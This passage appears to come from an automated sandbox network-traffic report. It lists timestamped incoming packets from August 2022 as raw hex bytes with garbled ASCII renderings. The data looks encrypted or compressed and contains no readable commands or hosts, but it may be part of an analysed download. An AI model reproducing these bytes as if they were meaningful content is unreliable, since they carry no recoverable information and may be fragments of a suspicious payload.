5c 27 49 0e d4 36 82 7a 8a ce 02 32 8c a1 28 a6 e6 e7 68 15 13 2e e3 a2 6b e7 6a e5 68 2f dd 68 0c fa d7 c5 19 1e 73 a8 91 5b 7b 56 c8 61 33 f5 99 3c 4f 3d 70 7c 39 6d 2d bd 77 c3 86 ca 06 e5 26 ae cf 87 43 13 36 Data Ascii: +F>>&)Z( (P<8=Vy4Eoj3].#8~?P?y~Z&\;q/<g-[Z,#^o;`7h+1iZoR%V_f5KR\d>RN,c]]\'I6z2(h.kjh/hs[{Va3<O=p\|9m-w&C6
2022-08-30 13:56:45 UTC	1199	IN	Data Raw: ff 4b 62 45 89 97 25 31 e9 f4 81 54 23 6e 74 b9 ed 25 27 b1 14 c6 52 9f 0b cb 69 23 b6 fc 69 3d 3f 77 f3 6b d7 d4 21 c0 88 1e a5 9c a2 e2 26 9e 9a 22 26 e7 a0 ec 0e 73 b6 83 28 aa 20 a7 27 af e3 6d 1d 16 3d 0d 0e 3a af 19 18 4f 6a b9 13 1a b1 c6 81 44 68 15 d8 4d 8b 9d 81 78 29 fb aa fe b0 a4 3a fc b4 e2 d2 87 34 28 60 b5 3a f7 49 96 88 08 2f 2c 3c b1 a1 63 31 38 a6 f0 6a ec b4 f0 cc 82 b7 28 e0 6c 3a 8d c2 bd ed 12 23 f6 f1 54 ad a8 29 25 22 6c 14 10 b6 ec 36 6c af a9 c2 33 e0 61 50 e3 40 83 a1 bc 54 48 1f 93 6b c6 a4 56 31 2a 62 87 71 96 a7 a1 74 3e 6f e5 db 77 8b bf 70 b5 ea 97 3a 72 49 6d 57 4e 53 03 94 f8 4c d1 14 28 4d 82 b6 fd 79 e3 6b 7d 94 e2 d9 47 be 17 6c 82 69 6d fe c8 61 3c c0 f0 37 83 04 c0 8c 3f 38 e3 44 ac 22 ff d2 76 a5 35 e7 b1 e0 c6 7e Data Ascii: KbE%1T#nt%'Ri#i=?wk!&"&s( 'm=:OjDhMx):4(`:I/,<c18j(l:#T)%"l6l3aP@THkV1*bqt>owp:rImWNSL(Myk}Glima<7?8D"v5~
2022-08-30 13:56:45 UTC	1201	IN	Data Raw: 7b 9c d6 ef 5b e3 db 61 7a 30 2e 3d 00 00 dd 04 ac 95 2f 01 30 e7 2a 2f 96 95 d0 3d 78 e0 da 9d c8 16 4a 6b a2 e4 f4 59 14 b9 61 2f ef af eb d7 82 b8 5d f3 57 31 cc c9 de 91 18 b8 cb 69 1c 86 72 6b 27 65 ec e8 ec d3 9b 06 d6 56 2e ed 03 91 9f 2e bd 32 f4 32 16 e5 f4 40 0d c3 25 e0 4e 8b 0e cf 83 c2 a5 c1 f2 e3 d6 a0 c8 a2 6e 6f ca aa 67 a5 5c 02 ed b0 a4 54 57 20 8d a2 7b f9 ff 6a 38 b3 13 30 f0 3a 7c a6 f4 81 68 a5 4d 3d e5 6a a3 31 a6 bf ef e8 9a d4 79 7e af ae 7a 92 73 7e dc bb 2b 92 5c fe 2f 72 d5 9d e2 a5 2c 3e e6 1b 40 e0 a5 91 73 cb 4e cc a9 4b 46 69 5b 41 f0 66 2d 70 b8 e8 a1 a9 27 8c 13 7f 2c 2e af 2a 4b a0 05 49 85 68 46 8d bd 56 82 4f 94 f2 a4 2d 80 fd f8 4b 2d d4 0e b5 d9 0d aa 1d ec 01 c7 0a 67 21 ac 4a 53 b7 2a 29 b0 da 56 6b 48 43 21 fd 6c Data Ascii: {[az0.=/0/=xJkYa/]W1irk'eV..22@%Nnog\TW {j80:\|hM=j1y~zs~+\/r,>@sNKFi[Af-p',.KIhFVO-K-g!JS*)VkHC!l
2022-08-30 13:56:45 UTC	1204	IN	Data Raw: 1f d0 65 67 24 b6 d8 22 8e 9b e3 c5 7a b3 a5 f8 61 cb 60 41 ef 16 a8 1c e2 1e d5 ef 28 23 02 22 48 da 6c e0 92 e0 a6 95 08 2a f0 16 e1 e3 21 1c 3e ac 5c 8e ea 35 19 63 6e 22 c7 6a 24 2d 67 2e ff 51 06 db 64 57 34 dc f3 b6 c5 eb 15 b3 60 af 52 25 74 90 e6 52 27 f5 cd 99 3e fc 3d 3f e7 28 c0 3e 35 30 38 a2 da e4 37 80 eb a6 15 b2 84 e2 e1 5f 64 05 47 a2 d0 ee 76 4f 9e 9c 80 ac 46 52 70 85 d8 08 e8 d7 48 7d 48 b2 98 0f 41 57 58 57 db 6a d1 2c 98 7a f8 2a 06 d3 bf 11 d9 7f 3a b2 0a 11 c8 86 af eb 6b d7 35 32 7d 29 86 c6 40 a1 a1 c6 e5 97 85 55 a5 0d e4 3b ca 96 46 18 04 1c 40 71 11 80 f2 be 28 a5 0c 07 e2 2a 27 0a af 89 eb d3 a6 10 0f a7 47 88 08 2d bd 9d 4d 34 f4 64 fe b4 5b ef 57 e1 72 48 f0 1f 81 d3 9d 91 a5 e1 73 c3 d6 34 02 08 bb e1 d7 f7 ce 7a fc 2e a7 Data Ascii: eg$"za`A(#"Hl!>\5cn"j$-g.QdW4`R%tR'>=?(>5087_dGvOFRpH}HAWXWj,z:k52})@U;F@q(*'G-M4d[WrHs4z.
2022-08-30 13:56:45 UTC	1208	IN	Data Raw: 73 12 1a f7 96 91 90 1d 14 97 ca 10 29 66 eb 22 cb cc 50 92 af 6f 95 6c 54 c8 13 34 58 20 48 c3 8c 65 15 d9 d3 a3 ef aa 22 1d f8 73 ac 67 ac 73 ad 72 bf b2 e1 4e 1c 88 0c c4 59 2c 6e 02 ba 44 ac c6 cd 91 eb 37 48 e2 c3 ec 0e 2c 9b 08 71 1f c9 63 bd af f4 24 6d d7 07 af 6c 39 bc c4 be 1b ff 66 6e 28 39 fa 34 09 fa 44 49 86 3b 92 1f 94 9f 63 09 3c 90 ff c2 57 9a 01 e9 e7 1a 5c ea ef f2 a3 b4 55 ad 0c 25 d1 0f e8 94 19 de 07 f3 39 bc 63 d3 d7 6d 9f b0 9e 32 a8 eb 3d 4e 89 f4 71 b1 61 65 b4 32 b7 44 9a f6 37 e1 9f 49 a7 f2 94 e2 b5 86 6a 9e c1 f3 6a 00 02 60 25 6a 2e 25 20 1a f7 0b a6 81 54 b2 58 99 47 81 42 49 57 9b 60 2e 55 19 34 fb 06 bb d6 7f 74 eb cd 04 e4 2d 53 da a1 91 d3 c0 80 e7 6a 30 36 99 49 e6 92 00 a4 ba a7 ef ca f2 6e 47 28 62 05 02 84 00 f1 b5 Data Ascii: s)f"PolT4X He"sgsrNY,nD7H,qc$ml9fn(94DI;c<W\U%9cm2=Nqae2D7Ijj`%j.% TXGBIW`.U4t-Sj06InG(b
2022-08-30 13:56:45 UTC	1209	IN	Data Raw: 4d 77 ae 00 3c 11 2c 2f 16 17 68 38 3e a1 d9 52 2e 9d fd c7 68 0c 6c 82 ac e9 59 e7 3f 2e 8c 74 b0 ab 44 08 f1 9b 41 aa 26 ce 0d a9 6f 6b ed 42 ba 5c 25 93 fb 66 86 e2 ae ac d1 b1 5d bc 26 1c 74 8a a6 44 4a ab 2e 90 d0 91 5b e2 0c 07 16 1f 5d 11 6f bb 3d 18 5e e1 7a 20 90 83 5e 90 69 65 eb de da 10 26 0c 34 a7 e1 4a d0 c2 2d 17 ac ab 35 32 47 ca 60 c5 a6 06 16 15 e0 ae ab 67 d8 08 ba 16 d2 49 8c a5 e1 ae 16 13 eb ac 27 9b f6 65 19 b4 fa 91 20 0b 87 aa 58 b5 79 22 e1 2d 7d 54 10 0e e1 c1 64 28 2b 02 75 cb c3 6a db 97 19 dd d8 76 38 a7 e1 78 cd 1f ea a3 3e 3c e9 a5 26 ac 6c 21 a7 81 6c 5e 4c 93 cb ff dc ef 59 e3 c1 6a 48 80 a2 db 8c 9d d2 ef 2e ed 38 b6 60 56 64 e6 db 32 f7 e1 e3 4d 98 c5 20 6a d3 31 b9 4c ff 17 aa aa 60 0d 0a 45 12 6e 95 e6 69 c0 02 96 34 Data Ascii: Mw<,/h8>R.hlY?.tDA&okB\%f]&tDJ.[]o=^z ^ie&4J-52G`gI'e Xy"-}Td(+ujv8x><&l!l^LYjH.8`Vd2M j1L`Eni4
2022-08-30 13:56:45 UTC	1213	IN	Data Raw: 32 d3 10 e9 2b c6 0a a0 2d e6 68 e4 2a d2 0e 3d dc 46 e6 fb e5 6c ed 69 e2 ac e8 4c 87 a5 6f db d3 97 99 b0 72 26 a6 06 4e 60 4d 8f 62 2e a6 0a fe e9 32 ca 35 e3 45 5d 40 43 dd 10 e5 28 e6 69 f7 6b d7 0e 2a a5 a1 1e 24 9c d3 2f 0e be e0 eb a7 46 8d fc 6b 50 d2 f6 a8 25 1e be 34 84 7e 64 a8 25 1c 59 84 02 5e d6 6b af 16 86 5e c6 6a b7 0e 9d 17 5d ac a9 bb 77 e3 6b df de b6 06 15 69 2f 57 11 61 d3 d0 09 41 5f 94 a3 ed 11 59 19 e1 dc eb 2b 5a 30 29 ca b2 fd ec aa 4c 8a 25 fb 9e 43 51 d9 0e a6 24 98 f7 0b b3 0c 36 21 4f 39 d5 ab 5c 51 96 69 94 58 54 f1 bd 42 7e c8 76 9a 14 2a 5e 56 de 6d d9 7f e6 9f 4a 83 27 cb ca 77 2f 40 a2 2c cd 08 9d e7 90 9b fd af dc 95 a6 71 03 e7 56 d3 f8 6c 7e d6 72 ca f6 93 df 17 3d 1d a7 ea 0a ce ab fe 8f db a6 6e a2 42 30 d4 bb 7b Data Ascii: 2+-h=FliLor&N`Mb.25E]@C(ik$/FkP%4~d%Y^k^j]wki/WaA_Y+Z0)L%CQ$6!O9\QiXTB~v*^VmJ'w/@,qVl~r=nB0{
2022-08-30 13:56:45 UTC	1217	IN	Data Raw: ae 35 51 96 83 06 ee 79 4e 97 d3 6f d0 eb 5b ff 4d 69 a6 6a d5 1a cb 04 23 65 51 f7 b8 e0 0e b6 2e 9b d3 ed 51 ff c6 9b df 7a 3c 9c 2a 13 16 db 76 32 a3 3e 7e b2 ca df 5f 5b ef 8a 19 0a 91 57 df 27 2c 2d 63 62 24 a9 e3 ed 14 d9 74 32 a3 e7 63 c7 cc a9 ff f3 3a 33 02 82 69 2d 2e 47 d7 c3 d2 e3 d6 17 9c 55 fd bb 7d 07 10 e1 d6 5b 6e b6 0e 1f 5b f3 43 6d 2d d5 9d e3 e9 2c ee b9 f4 22 a7 95 58 6a 4e a8 8d f3 7e 25 f9 b9 2c e2 55 18 21 3c fe a6 3a b0 1d d2 e4 29 2c e8 7d 59 cc e1 ea ff 37 01 46 23 28 ef 26 e1 e4 63 8f 8b a0 d3 d8 a3 9c 9f 1f 5b 65 34 73 e1 23 4e 75 63 a7 9a 1e db 2b e1 69 77 94 c1 ef b9 fe be da be d8 a4 32 fd e0 58 16 2f 6d 6e 15 d1 b8 74 e6 a0 24 e9 69 2f 5f 41 96 c2 ce 1c 0e 1d 2c 2a b7 b1 28 fe bc 29 e4 e5 f6 c3 5e 4c f3 a4 9a 2e 68 61 27 Data Ascii: 5QyNo[Mij#eQ.Qz<v2>~_[W',-cb$t2c:3i-.GU}[n[Cm-,"XjN~%,U!<:),}Y7F#(&c[e4s#Nuc+iw2X/mnt$i/_A,()^L.ha'
2022-08-30 13:56:45 UTC	1222	IN	Data Raw: 8f 2a e4 2f e3 a6 ab e7 8e c2 bc 7b 9c d2 32 a0 d5 d0 f9 4a ae 86 ae 1a 92 26 e3 22 e2 20 30 f6 e5 df 94 aa 6d 2f 6c 46 0b f0 b7 5b 01 fb 13 d9 21 a4 e1 43 8a 26 52 9e 2d e4 1a db 5b 99 62 2c ac b6 b9 26 ea 58 10 39 30 11 69 f0 41 2e 74 36 e0 63 0b 85 eb 5b 15 b7 7a d3 73 49 97 cd 7e a7 e1 7a 14 06 bd d1 36 cc 4d c8 d5 7b de 36 7b 48 c4 e5 1c 90 a0 e8 eb c9 42 33 01 06 6b 18 2d 01 89 5f 0f dc 6e d2 33 b8 99 65 d1 1e b8 75 e9 de 94 ac 2a 68 2b 65 bb 5e 91 44 90 4e 4f a0 d0 2e 5a a9 2a 20 2f 2e 75 fc 01 4d 90 5e d7 dd 5f 96 1e f2 5a 3c a7 e5 53 c8 3f ba f3 25 db 14 1d c7 df 62 7d d0 7e 77 f4 70 a4 f8 ca e4 30 49 17 14 ab 64 11 75 4f 2d 5a 42 17 01 e1 e9 14 56 4a 4a e7 cf 83 a1 14 3f 87 08 8a e7 15 fe c5 ba fe 21 4e 06 e8 de 92 d9 0f 3d f9 4d 96 dc 10 52 ae Data Ascii: /{2J&" 0m/lF[!C&R-[b,&X90iA.t6c[zsI~z6M{6{HB3k-_n3euh+e^DNO.Z* /.uM^_Z<S?%b}~wp0IduO-ZBVJJ?!N=MR
2022-08-30 13:56:45 UTC	1226	IN	Data Raw: 39 65 a7 95 a7 9a ea f9 75 93 dc e1 52 97 a4 ec 23 68 61 6c 86 9a ef 6d f3 a3 e5 ab b6 29 b8 f6 9e cb 8f c7 6c 2d f8 6b 08 9a 24 12 5c 7a c4 26 1d 34 08 11 a7 65 11 da 2c 91 d0 68 6c a1 e4 d3 dd 02 4d 1e 23 9f a6 de 17 9a 55 d1 6e 9b 20 ed 28 27 e5 9b a1 7a 81 41 42 ee ee 3c f2 4b b7 97 a9 48 83 64 6a 9e 91 6e 26 10 ec cf b2 6a a8 e7 27 88 47 7f 0a 7d a1 ad 97 c3 50 89 85 41 46 e8 7b 37 c9 4f 24 82 fe 27 9b 6a 26 00 6d 49 1f de f2 91 49 d6 7c 93 71 6f 6c ad 1e 8c b1 2d a5 90 2c 18 a5 1c d3 69 f1 4b d3 6e d7 1e a2 1b d3 6c d5 1e a0 38 86 1e af 16 d3 63 da 1e ad 14 d3 61 f9 4b d3 66 df 1e aa 13 d3 64 dd 1e a8 cc ee 87 6c bc e5 36 43 50 5f 37 02 92 c6 f1 78 90 b1 2b 0a 0e 0c 79 78 67 aa ac 7c 78 67 a5 bd 7f 5e 11 49 0f c2 d7 75 5f 40 b8 34 6a e2 ce d9 14 c4 Data Ascii: 9euR#halm)l-k$\z&4e,hlM#Un ('zAB<KHdjn&j'G}PAF{7O$'j&mII\|qol-,iKnl8caKfdl6CP_7x+yxg\|xg^Iu_@4j
2022-08-30 13:56:45 UTC	1230	IN	Data Raw: 9d 31 b3 7c ca a6 5b f5 b0 de 85 a6 d2 a9 d1 c5 14 92 41 50 14 53 1b 90 8f 76 eb bf 04 9f fe 93 08 a5 0a c5 e3 e7 5e 48 bd 99 83 d7 06 4f 9e 34 28 96 d9 f5 9f 6b ca 49 87 3b fa 3b 72 6f 28 ec bc b7 87 17 d3 55 77 1e 53 08 3f d6 6a b3 7a 3b 7f 63 db 54 d2 18 ee a1 e6 a0 7a 60 35 63 df 7f c1 59 e7 74 97 12 2c b9 9b 6d e1 79 c3 25 75 4d 94 de 86 48 d2 ac 40 35 4f 82 71 9e 54 99 54 34 ac 12 b2 93 14 eb c7 51 e3 d7 05 6c 2a bb 70 4a 75 a3 f8 a9 75 74 f8 33 9d 95 a7 4a 5f 3a ac 16 96 2c d5 1e c7 ff 16 b3 f3 ae 9f 26 1b d4 93 2c 93 da 47 5a 91 b0 db 8a ca 36 41 9f c6 8b 73 7c 81 5a 87 56 de 8a 46 f1 38 f5 41 51 d3 fe 95 5e 1e 12 5e 26 8a 28 61 98 72 90 33 6d 10 5c 8a 0c 21 d4 11 25 6b 0c 3c d5 7e b7 81 47 ea e7 60 8f 84 2a a8 66 c3 f0 7d ed 3d ca f8 37 77 88 fc Data Ascii: 1\|[APSv^HO4(kI;;ro(UwS?jz;cTz`5cYt,my%uMH@5OqTT4QlpJuut3J_:,&,GZ6As\|ZVF8AQ^^&(ar3m\!%k<~G`f}=7w
2022-08-30 13:56:45 UTC	1233	IN	Data Raw: d1 7c 87 2a d9 64 24 b1 80 1a df 5d 97 25 88 08 da 42 b9 43 c5 17 87 55 c5 17 bf 6d c5 17 ca 17 a8 08 da 62 b0 08 da 6a a8 5e 62 02 7f 5e 55 5c e6 2a 19 61 d0 f8 d7 85 da 3b 07 07 69 c9 2a 8b c9 ee c7 09 25 ea 20 00 6e bd d4 2f 86 fb d4 b5 8d 5c 9a e6 d7 66 df 0b 12 db b6 78 3e e7 28 e4 a3 19 ef 11 e5 1e 39 04 eb d7 dc 25 64 06 49 e8 ca 85 07 c7 28 f9 5e 82 d3 ee 02 2f 5d 82 68 a6 6b 6a e0 27 e2 09 48 e0 12 9a 68 e0 c1 39 0f d2 26 aa 39 15 66 41 4a 19 b5 81 8e ea 36 2f 57 6a 55 b5 8c bd 58 35 e0 0a b0 12 cc 66 19 b2 e0 12 e0 07 c5 24 8c 17 d7 6d 86 db 1b 76 b5 0e 81 6a e7 04 99 73 ae 2a d1 7c 87 2a d9 64 f7 48 c2 3a a0 5b 56 97 3a fa d0 2d 96 9b 5a ea 9c 55 df 96 27 58 49 3b ed 55 71 79 1e 61 fa 95 1a 9d 48 ea f0 cc f2 d7 b6 7c 2d 7c 70 a8 39 e8 24 91 91 Data Ascii: \|d$]%BCUmbj^b^U\a;i% n/\fx>(9%dI(^/]hkj'Hh9&9fAJ6/WjUX5f$mvjs\|*dH:[V:-ZU'XI;UqyaH\|-\|p9$
2022-08-30 13:56:45 UTC	1237	IN	Data Raw: 65 af c9 39 3f 0e 91 7f 19 36 90 ee bd c3 99 ea db 06 83 d3 60 bc 9b 4e 6c 23 29 2f 1e 98 ec 6b 2f a2 9c e0 5e 00 88 8d d4 79 e9 b3 eb da 3a b3 98 99 02 af 82 47 6a cd 00 f4 09 90 2d 62 de 91 69 d6 38 53 9a 07 11 08 48 df e3 75 6a 67 fd 4d 83 96 af d1 c3 8e 63 2d 21 90 12 27 5e 54 ea 0c 90 3d 27 e6 ea 80 41 ab 7d e1 c3 4d 23 0a 91 6b f2 a6 34 a5 61 f9 54 57 73 22 7e df 84 b1 bb e6 fb 36 00 c9 86 8a 5f 66 31 46 31 c2 cf 87 57 a5 55 1b 66 9d 4a 34 23 2a 58 8e 3c 0b 18 a4 c8 7d 09 91 da 60 0d f7 0c 99 ae 4a 28 00 8d a5 2b 36 fb cd 05 4a 09 bc f9 27 59 d3 be 3c 11 07 39 64 a9 af f1 34 eb 45 98 36 82 4a 93 4d 1b a3 09 cf 11 b3 fc 36 d5 5a 28 10 9f e6 fb 36 00 65 c4 49 d3 69 f6 82 da 32 05 53 f1 be a0 36 28 6c e3 e6 fb 36 00 ca 85 05 37 27 fe a8 01 c7 84 33 87 Data Ascii: e9?6`Nl#)/k/^y:Gj-bi8SHujgMc-!'^T='A}M#k4aTWs"~6_f1F1WUfJ4#*X<}`J(+6J'Y<9d4E6JM6Z(6eIi2S6(l67'3
2022-08-30 13:56:45 UTC	1241	IN	Data Raw: c1 e9 da b9 ff 1b a8 be 93 83 a3 6c b5 53 f9 11 22 9c d6 66 a8 d2 27 de e3 af 2c 9e d8 64 ab 16 a6 1b 20 ac fe b9 60 2f 1e 8f be 6a a7 00 fd 5a ff 58 dd 20 78 26 1a 16 af 51 56 af 2d 34 7e 68 a7 2a 81 37 6c 95 2a bd f2 62 c5 04 99 08 ff 61 df 12 a3 d2 d6 8c 04 01 7f b3 73 57 b5 c0 0f e8 ca 96 84 c9 3c 73 ab 07 c1 68 8d e6 23 4c aa e4 e4 a0 ac 45 84 67 89 16 d8 46 be 9b 42 67 84 b8 52 4d 86 6a a8 44 84 73 56 6a 4f 6b a7 d2 6b 78 c8 e7 01 a8 c7 ec 28 c1 84 67 42 e9 0b ad b7 9d 44 7e 0b db ba 7a aa 8f 9c 1b 05 7a d0 06 29 cc 1f fc ba 7a aa b2 9a 03 26 7a 50 89 b3 0c dc 77 b7 67 0f 27 13 36 b7 1d ca e5 01 1c ff 77 1f c2 aa 8f 74 52 b4 77 af 7f 87 56 bb d2 0e 66 42 94 b1 7a 50 89 b3 75 a5 77 3f e2 aa 8f ba 9e 1c 69 79 01 2e cc cb cf cc ec ab 5d 9a 6c 48 52 f7 Data Ascii: lS"f',d `/jZX x&QV-4~h7lbasW<sh#LEgFBgRMjDsVjOkkx(gBD~zz)z&zPwg'6wtRwVfBzPuw?iy.]lHR
2022-08-30 13:56:45 UTC	1245	IN	Data Raw: e5 f3 3e 2b df 9e 61 28 a5 e5 e7 68 1c 90 e8 57 40 a9 98 01 97 d2 a2 ee 64 a3 2e 1d 93 a0 a6 91 69 a7 96 a2 04 9d 78 f7 31 55 ff 8a 62 96 32 be a3 1b 67 65 7a 7d a3 44 b6 9f a9 87 58 ad f7 27 ba 1d 58 6e fb 4e 0f d1 8d 44 6a 28 1a 87 4a 45 8f f6 56 ed 43 be 72 9c af d1 de 40 77 5a 6c 93 39 c4 b3 6c 90 81 6a 0e d4 4b 30 0d cf f6 f0 a8 ff a7 3c 35 46 65 30 d2 39 19 a0 c5 7f 42 56 bb 4a 16 35 3a 29 70 41 1d ac af 62 64 08 36 1c e4 7f 34 20 6e 95 0e cc 58 a4 6e 17 c9 70 44 88 19 c4 f3 2b b2 41 5a ec 93 13 fa d2 61 2b 68 89 6d a1 d0 1e e4 97 6d c7 47 a2 5d 3c aa 6b b6 94 6d c3 9b ca 94 af d8 ce a9 48 af 41 84 ca 8a 6f ac e9 4e 7a 1f 44 c9 6a 58 a0 fe f6 c6 72 9c ed f3 0a 4e 65 40 6b 16 c2 36 d1 94 6a 57 9c c8 a2 8d e4 b3 12 e7 53 f6 2a 4f a7 11 d9 81 35 3d 41 Data Ascii: >+a(hW@d.ix1Ub2gez}DX'XnNDj(JEVCr@wZl9ljK0<5Fe09BVJ5:)pAbd64 nXnpD+AZa+hmmG]<kmHAoNzDjXrNe@k6jWS*O5=A
2022-08-30 13:56:45 UTC	1249	IN	Data Raw: cf e0 b2 6a b3 64 02 16 92 66 90 0d f3 6e 72 b6 ae 33 fa 6e 19 51 2e 8b 5b db eb 43 6b d4 55 28 cf 00 4f dc e0 77 b5 bf 25 eb 63 e8 3d 89 98 a1 f5 eb 26 59 cf eb 65 62 e8 f8 f3 a5 e8 2c e1 29 4f 65 c8 1e 84 76 50 b6 19 ff 67 92 9f aa b6 bb 53 78 41 aa 9c 04 32 aa f7 fa 67 30 3d aa cc c1 67 ef 21 a9 67 a8 25 a9 c8 c6 6a aa e6 66 f4 6f 19 6b 0e 2a a7 ee 23 aa 13 3f 0d bc d6 c3 f9 b1 d3 3b 01 12 5e 14 de ec 24 91 78 30 c2 99 31 fc b0 85 48 52 60 7c b1 23 06 65 ff d5 58 6a 6b 99 ec 31 fc 39 77 8b ec cd a2 fb 43 17 22 aa fa ba 8f ed 08 eb e3 e6 6b d7 5f e3 6b df dc a4 fe ff 6b 0e 46 93 be c3 6b fb 73 7c 59 4f 68 5c d3 a5 9f 2d 3d 08 f9 d4 4f 7e da 03 a7 33 a7 b6 e2 aa d2 f8 73 99 5f 17 d2 55 a8 ff f2 23 6b d3 3d 8f da d4 ca 32 da e1 ec a0 65 a8 4e 23 03 2c e4 Data Ascii: jdfnr3nQ.[CkU(Ow%c=&Yeb,)OevPgSxA2g0=g!g%jfok*#?;^$x01HR`\|#eXjk19wC"k_kkFks\|YOh\-=O~3s_U#k=2eN#,
2022-08-30 13:56:45 UTC	1253	IN	Data Raw: 21 8f 36 13 2b e6 ee f9 c5 26 ac 5d 90 54 55 d3 27 96 39 be d6 97 1a a5 2a a6 69 e6 69 a3 a6 e6 9b 67 e4 28 74 83 eb a9 66 d7 d3 6f ca 6c c3 16 3a f4 c8 dc b5 a0 82 df d1 36 7e 1b 51 a3 27 34 a7 0b c2 2d dd f7 4c 3d 15 00 ca 07 e0 ee 40 61 85 69 ef ae ef b0 ca 16 82 65 c1 26 50 45 bc 44 01 ae a5 f1 9f 4b df 1d 23 8c 1f c0 0b 74 fa f1 8b 47 3d a4 d2 dc b9 e3 2e fb f6 14 99 e2 10 2d 05 ed c9 47 1a 17 bb 31 fc f6 d0 8e ba 9f 41 a2 2c f4 ca 0a 14 b5 9c eb e2 e6 ee f9 be ae e8 e2 aa a6 65 5e 17 eb 5a f4 cd 76 88 28 e5 73 67 44 9f a7 6a d0 d9 5f 24 88 dc bc f7 f4 9b ea 33 a3 c7 e8 aa 28 72 e3 ae 3b 76 33 8a 71 d9 ea d7 c1 f3 fc 33 0c dd 13 7d 7a 91 3a 85 e9 ad a8 02 a0 32 47 5e 90 59 a6 e3 f4 13 13 e7 b6 6e 76 e6 16 7b a0 99 2c 55 9f 6a 22 62 42 da 77 41 7c 13 Data Ascii: !6+&]TU'9*iig(tfol:6~Q'4-L=@aie&PEDK#tG=.-G1A,e^Zv(sgDj_$3(r;v3q3}z:2G^Ynv{,Uj"bBwA\|
2022-08-30 13:56:45 UTC	1258	IN	Data Raw: c3 19 18 18 58 10 97 1a 6f 79 3b 65 33 3f 2e 6b 6d 08 5b f4 24 ab 7e 71 65 26 60 28 26 e3 e2 d7 d4 a3 e1 6d 6c 2b 2e 27 16 ad 6d ef e6 d4 61 27 ab 8e 38 1b a1 6a 9c 8b 7d 1d f3 3b d1 55 64 e5 cd 7f a0 d3 17 ec 3f 7d 0c 35 58 6e 3e 32 81 89 a0 91 4c a3 7d e9 49 ff 5b 28 da a0 23 07 6c 52 4f 29 e1 ec 3f c2 16 80 4c 67 2e 2e 13 0e 3d e6 e7 6d 66 eb 57 a9 55 22 6a 2f b4 0c 52 06 b4 e0 de 69 1e 5e e4 9c 90 95 2d e3 0b c5 2d e7 0c 29 e0 d5 c2 3b 79 51 c1 6b a2 30 61 87 db b7 dd 18 1a 54 d2 1f 82 25 cc 03 cf 4a 87 6a a7 82 6b 68 81 6a fe 6a 77 e3 e2 d3 d0 2f e4 a2 1e c6 d7 a2 61 53 b0 6a e7 3a 5f 06 01 6d 42 af 29 e7 ff 75 e8 e4 5e 13 a3 6e d3 17 2d 21 90 2f 1d 95 a7 9a a8 a9 dc 2d a7 55 18 15 94 8b b6 65 6f 6e a5 29 ee e3 ca 9a 3b 72 6c b2 71 3f af e1 2f ec e2 Data Ascii: Xoy;e3?.km[$~qe&`(&ml+.'ma'8j};Ud?}5Xn>2L}I[(#lRO)?Lg..=mfWU"j/Ri^--);yQk0aT%Jjkhjjw/aSj:_mB)u^n-!/-Ueon);rlq?/
2022-08-30 13:56:45 UTC	1262	IN	Data Raw: 9f c1 5c 02 6e ab e6 5a eb 5b 1e d9 eb 8c 87 1a 19 85 9b 57 58 c8 d1 8a 11 16 e3 fb 1b e3 0c 8e 0e cd eb e7 ae 12 25 a7 6a 01 6a 9e 00 ad 27 e2 c3 46 6a e2 7f b8 25 50 d9 eb a1 c4 8e 27 e2 f6 37 4e 1f 28 79 a7 82 6a 76 9a 6e a7 ca 2a 4f c5 16 59 f7 f3 0b e6 32 08 99 9a 12 e2 6d d1 5e c6 21 da 95 a1 27 66 0b a1 6f cd 07 f9 fe 43 29 cc 03 cf 7f b2 6a e7 40 ce 81 04 a7 5a d3 75 5a 86 da 94 17 a7 36 2d 0b 6e 07 cf 6e 82 6e 0e 02 c0 5e 90 ab eb 42 3d 49 bf e1 69 3f b7 39 7f bc ee f7 ab 4f fc b3 7a 95 b9 9c 26 a6 24 60 59 c4 fa 0b ef aa 90 7c 5f 9b e2 4a f9 95 f7 1a 83 5a 57 dc 51 8b fa fb 6e a3 56 96 22 87 1f 47 1a 29 69 37 bf ef 97 47 97 cb 95 99 54 35 19 13 0c 6a a7 fc 8c 96 ef c3 7d 99 6a ab ae e6 a4 62 6e 21 2c 6c 2a a7 7e 63 93 cb 2f 76 aa 52 07 1f c2 70 Data Ascii: \nZ[WX%jj'Fj%P'7N(yjvnOY2m^!'foC)j@ZuZ6-nnn^B=Ii?9Oz&$`Y\|_JZWQnV"G)i7GT5j}jbn!,l~c/vRp
2022-08-30 13:56:45 UTC	1265	IN	Data Raw: 18 1b 9c 1b 65 ac e1 1d e5 94 50 11 2c ea 2d a8 61 27 1b e6 75 96 30 ba a7 73 78 04 c1 f5 f6 71 d3 94 f3 fa e9 88 ed 09 ce c0 e0 be 37 a0 ed a3 64 59 5a db 81 7a dd 5c 1f 9d 1b 95 67 90 5f 98 cf c2 ab 6a 08 b7 0e 08 d9 b2 5e d3 37 3a 90 f9 73 7a fc b4 e2 de f6 89 27 1c 37 cb 4d 9e 33 6e ca a0 46 23 05 ca ea 21 2b e8 6d d6 d3 e3 06 f1 9f eb 14 9f 4f 32 d1 e3 d4 1b 50 f6 71 ff 5c f2 61 6e a5 3d 13 c2 ae 38 bd 8a 09 d1 1a 36 30 39 f4 2a 4c c9 cd 82 d2 66 5e eb f1 75 ef ca 06 59 17 00 4a 1a c4 95 cf 1d c6 03 a7 52 60 7c 71 97 9a 82 2f 64 36 6a 6a 98 8e c5 e3 69 9d d1 0d 06 f5 76 8f cd 88 c6 a2 e0 cc db be da d4 b1 0b 0a d0 d9 1f ad 01 fb 72 ad d1 1b 62 ce c3 81 73 de 64 de 68 8b 9e 83 9e dc 29 6f ae da 58 d6 b0 d3 d4 ca 3b 9c 57 fe 2b d7 99 e9 a0 6e a8 d3 51 Data Ascii: eP,-a'u0sxq7dYZz\g_j^7:sz'7M3nF#!+mO2Pq\an=8609*Lf^uYJR`\|q/d6jjivrbsdh)oX;W+nQ
